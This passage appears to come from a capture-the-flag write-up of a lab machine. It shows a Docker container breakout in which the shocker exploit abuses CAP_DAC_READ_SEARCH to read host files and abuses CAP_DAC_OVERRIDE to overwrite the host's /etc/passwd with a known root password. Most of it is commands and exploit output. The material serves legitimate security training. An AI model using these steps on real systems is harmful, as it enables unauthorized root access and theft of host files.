::ffff:10.10.11.155 - - [] "GET /linpeas.sh HTTP/1.1" 200 -
When running the script, we see that there are some capabilities enabled in the Docker container:
root@c150397ccd63:~# bash linpeas.sh
...
╔══════════╣ Capabilities
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#capabilities
Current capabilities:
CapInh: 0000000000000000
CapPrm: 00000000a80425fd
CapEff: 00000000a80425fd
CapBnd: 00000000a80425fd
CapAmb: 0000000000000000
Shell capabilities:
CapInh: 0000000000000000
CapPrm: 00000000a80425fd
CapEff: 00000000a80425fd
CapBnd: 00000000a80425fd
CapAmb: 0000000000000000
...
We can decode them with capsh
:
$ capsh --decode=00000000a80425fd
0x00000000a80425fd=cap_chown,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
There’s one that is useful to escalate privileges: CAP_DAC_READ_SEARCH
(more information in HackTricks). We will be able to read arbitrary files from the host machine by exploiting this capability.
We will need to compile an exploit called shocker.c
. I will modify the code a bit to accept command line arguments for the file to read, instead of having a hard-coded filename like /etc/shadow
. Moreover, the exploit needs a file that is mounted on the container from the host machine. The exploit uses /.dockerinit
, which is not mounted. Instead, we can use /etc/hostname
:
root@c150397ccd63:~# mount
overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/SJ7L7M7IXKP2LYEKIS4QTXWMB2:/var/lib/docker/overlay2/l/V56NO5353KGHEUPU2G64UYICZS:/var/lib/docker/overlay2/l/57PYNL7JWAUZ2ZEF5CM7JKTH2Y:/var/lib/docker/overlay2/l/K4DCIUMHCNYT3RFVQSR7KCCWLJ:/var/lib/docker/overlay2/l/LLNI6XKILGAYVK3VSFPKZQC4NI,upperdir=/var/lib/docker/overlay2/5de14f4c9bdeaf0f8a19d03adcc2d28ccc97655bb5bc5f888490c184d2ad70dc/diff,workdir=/var/lib/docker/overlay2/5de14f4c9bdeaf0f8a19d03adcc2d28ccc97655bb5bc5f888490c184d2ad70dc/work,xino=off)
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
tmpfs on /dev type tmpfs (rw,nosuid,size=65536k,mode=755)
devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666)
sysfs on /sys type sysfs (ro,nosuid,nodev,noexec,relatime)
tmpfs on /sys/fs/cgroup type tmpfs (rw,nosuid,nodev,noexec,relatime,mode=755)
cgroup on /sys/fs/cgroup/systemd type cgroup (ro,nosuid,nodev,noexec,relatime,xattr,name=systemd)
cgroup on /sys/fs/cgroup/hugetlb type cgroup (ro,nosuid,nodev,noexec,relatime,hugetlb)
cgroup on /sys/fs/cgroup/pids type cgroup (ro,nosuid,nodev,noexec,relatime,pids)
cgroup on /sys/fs/cgroup/rdma type cgroup (ro,nosuid,nodev,noexec,relatime,rdma)
cgroup on /sys/fs/cgroup/perf_event type cgroup (ro,nosuid,nodev,noexec,relatime,perf_event)
cgroup on /sys/fs/cgroup/cpu,cpuacct type cgroup (ro,nosuid,nodev,noexec,relatime,cpu,cpuacct)
cgroup on /sys/fs/cgroup/blkio type cgroup (ro,nosuid,nodev,noexec,relatime,blkio)
cgroup on /sys/fs/cgroup/freezer type cgroup (ro,nosuid,nodev,noexec,relatime,freezer)
cgroup on /sys/fs/cgroup/net_cls,net_prio type cgroup (ro,nosuid,nodev,noexec,relatime,net_cls,net_prio)
cgroup on /sys/fs/cgroup/memory type cgroup (ro,nosuid,nodev,noexec,relatime,memory)
cgroup on /sys/fs/cgroup/cpuset type cgroup (ro,nosuid,nodev,noexec,relatime,cpuset)
cgroup on /sys/fs/cgroup/devices type cgroup (ro,nosuid,nodev,noexec,relatime,devices)
mqueue on /dev/mqueue type mqueue (rw,nosuid,nodev,noexec,relatime)
shm on /dev/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=65536k)
/dev/mapper/ubuntu--vg-ubuntu--lv on /app/uploads type ext4 (rw,relatime)
/dev/mapper/ubuntu--vg-ubuntu--lv on /etc/resolv.conf type ext4 (rw,relatime)
/dev/mapper/ubuntu--vg-ubuntu--lv on /etc/hostname type ext4 (rw,relatime)
/dev/mapper/ubuntu--vg-ubuntu--lv on /etc/hosts type ext4 (rw,relatime)
proc on /proc/bus type proc (ro,nosuid,nodev,noexec,relatime)
proc on /proc/fs type proc (ro,nosuid,nodev,noexec,relatime)
proc on /proc/irq type proc (ro,nosuid,nodev,noexec,relatime)
proc on /proc/sys type proc (ro,nosuid,nodev,noexec,relatime)
proc on /proc/sysrq-trigger type proc (ro,nosuid,nodev,noexec,relatime)
tmpfs on /proc/acpi type tmpfs (ro,relatime)
tmpfs on /proc/kcore type tmpfs (rw,nosuid,size=65536k,mode=755)
tmpfs on /proc/keys type tmpfs (rw,nosuid,size=65536k,mode=755)
tmpfs on /proc/timer_list type tmpfs (rw,nosuid,size=65536k,mode=755)
tmpfs on /proc/sched_debug type tmpfs (rw,nosuid,size=65536k,mode=755)
tmpfs on /proc/scsi type tmpfs (ro,relatime)
tmpfs on /sys/firmware type tmpfs (ro,relatime)
root@c150397ccd63:~# mount | grep /etc/hostname
/dev/mapper/ubuntu--vg-ubuntu--lv on /etc/hostname type ext4 (rw,relatime)
I will do these changes with sed
:
$ wget -q http://stealth.openwall.net/xSports/shocker.c
$ sed -i 's/.dockerinit/etc\/hostname/g' shocker.c
$ sed -i 's/main()/main(int argc, char** argv)/g' shocker.c
$ sed -i 's/"\/etc\/shadow"/argv[1]/g' shocker.c
Now, I compile the code and encode the binary file in Base64 to transfer it correctly:
$ gcc shocker.c
$ base64 a.out > a.out.b64
$ md5sum a.out
75c3f2fb9399c35a1bab2a221a6bd0ed a.out
$ python3 -m http.server
Serving HTTP on :: port 8000 (http://[::]:8000/) ...
::ffff:10.10.11.155 - - [] "GET /a.out.b64 HTTP/1.1" 200 -
And now we have it in the container:
root@c150397ccd63:~# node get.js /a.out.b64 | base64 -d > shocker
root@c150397ccd63:~# md5sum shocker
75c3f2fb9399c35a1bab2a221a6bd0ed shocker
We can use this exploit to get the root.txt
flag:
root@c150397ccd63:~# ./shocker /root/root.txt
[***] docker VMM-container breakout Po(C) 2014 [***]
[***] The tea from the 90's kicks your sekurity again. [***]
[***] If you have pending sec consulting, I'll happily [***]
[***] forward to my friends who drink secury-tea too! [***]
<enter>
[*] Resolving 'root/root.txt'
[*] Found lib32
[*] Found ..
[*] Found lost+found
[*] Found sbin
...
[*] Found root
[+] Match: root ino=18
[*] Brute forcing remaining 32bit. This can take a while...
[*] (root) Trying: 0x00000000
[*] #=8, 1, char nh[] = {0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
[*] Resolving 'root.txt'
[*] Found ..
[*] Found .backup
...
[*] Found .bashrc
[*] Found root.txt
[+] Match: root.txt ino=110097
[*] Brute forcing remaining 32bit. This can take a while...
[*] (root.txt) Trying: 0x00000000
[*] #=8, 1, char nh[] = {0x11, 0xae, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00};
[!] Got a final handle!
[*] #=8, 1, char nh[] = {0x11, 0xae, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00};
[!] Win! /etc/shadow output follows:
b020908bd16e6dc4937e2b5a689c3b70
If we wanted to obtain a proper shell as root
, we would have to find a way to write into a file (since there is no private SSH key). For this, we can exploit another capability called CAP_DAC_OVERRIDE
, which is not enabled in the container, but the exploit works. This exploit can be found in HackTricks (this one already has command line arguments properly set).
Now, we compile it and transfer it to the container:
$ gcc shocker2.c
shocker2.c: In function ‘find_handle’:
shocker2.c:56:13: warning: implicit declaration of function ‘open_by_handle_at’ [-Wimplicit-function-declaration]
56 | if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0)
| ^~~~~~~~~~~~~~~~~
$ base64 a.out > a.out.b64
$ python3 -m http.server
Serving HTTP on :: port 8000 (http://[::]:8000/) ...
::ffff:10.10.11.155 - - [] "GET /a.out.b64 HTTP/1.1" 200 -
root@c150397ccd63:~# node get.js /a.out.b64 | base64 -d > shocker2
root@c150397ccd63:~# chmod +x shocker2
To escalate privileges, we will modify the /etc/passwd
to set a new password for root
(DES Unix format):
$ openssl passwd asdf
ftb88guy6zk6E
First, we will read the file from the machine (from the SSH session):
saul@talkative:/tmp$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
saul:x:1000:1000:Saul,,,:/home/saul:/bin/bash
Now we create another file changing the x
by the encrypted password in the first line:
root@c150397ccd63:~# cat > passwd
root:ftb88guy6zk6E:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
saul:x:1000:1000:Saul,,,:/home/saul:/bin/bash
^C
Then, we run the exploit:
root@c150397ccd63:~# ./shocker2 /etc/passwd passwd
[***] docker VMM-container breakout Po(C) 2014 [***]
[***] The tea from the 90's kicks your sekurity again. [***]
[***] If you have pending sec consulting, I'll happily [***]
[***] forward to my friends who drink secury-tea too! [***]
<enter>
[*] Resolving 'etc/passwd'
[*] Found lib32
[*] Found ..
[*] Found lost+found
...
[*] Found etc
[+] Match: etc ino=393217
[*] Brute forcing remaining 32bit. This can take a while...
[*] (etc) Trying: 0x00000000
[*] #=8, 1, char nh[] = {0x01, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00};
[*] Resolving 'passwd'
[*] Found modules-load.d
[*] Found lsb-release
[*] Found rsyslog.conf
...
[*] Found environment
[*] Found passwd
[+] Match: passwd ino=394935
[*] Brute forcing remaining 32bit. This can take a while...
[*] (passwd) Trying: 0x00000000
[*] #=8, 1, char nh[] = {0xb7, 0x06, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00};
[!] Got a final handle!
[*] #=8, 1, char nh[] = {0xb7, 0x06, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00};
Success!!
As a result, the file /etc/passwd
has changed (from the SSH session):
saul@talkative:/tmp$ head -1 /etc/passwd
root:ftb88guy6zk6E:0:0:root:/root:/bin/bash
So we can simply switch to user root
(password: asdf
):
saul@talkative:/tmp$ su root
Password:
root@talkative:/tmp# cat /root/root.txt
b020908bd16e6dc4937e2b5a689c3b70